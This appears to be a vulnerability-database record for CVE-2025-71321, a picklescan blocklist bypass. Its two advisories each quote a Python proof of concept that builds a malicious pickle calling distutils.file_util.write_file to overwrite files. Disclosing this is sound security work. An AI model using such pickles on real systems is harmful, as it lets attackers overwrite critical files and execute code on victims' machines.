CVE-2025-71321
criticalpriority · track · 0EPSS 0.008 · 57 %ileEUUSEPSS · scored 2026-10-28
picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using distutils.file_util.write_file. Attackers can construct malicious pickle objects to overwrite critical system files and achieve denial of service or remote code execution.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-m273-6v24-x4m4Picklescan vulnerable to Arbitrary File Writing2025-12-29ghsa · osvUS
### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
- PYSEC-2026-1791Picklescan vulnerable to Arbitrary File Writing2026-07-07vendor · osvUS
### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4cnnvd
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypasscnnvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4enisa_euvd
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypassenisa_euvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4nvd
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypassnvd
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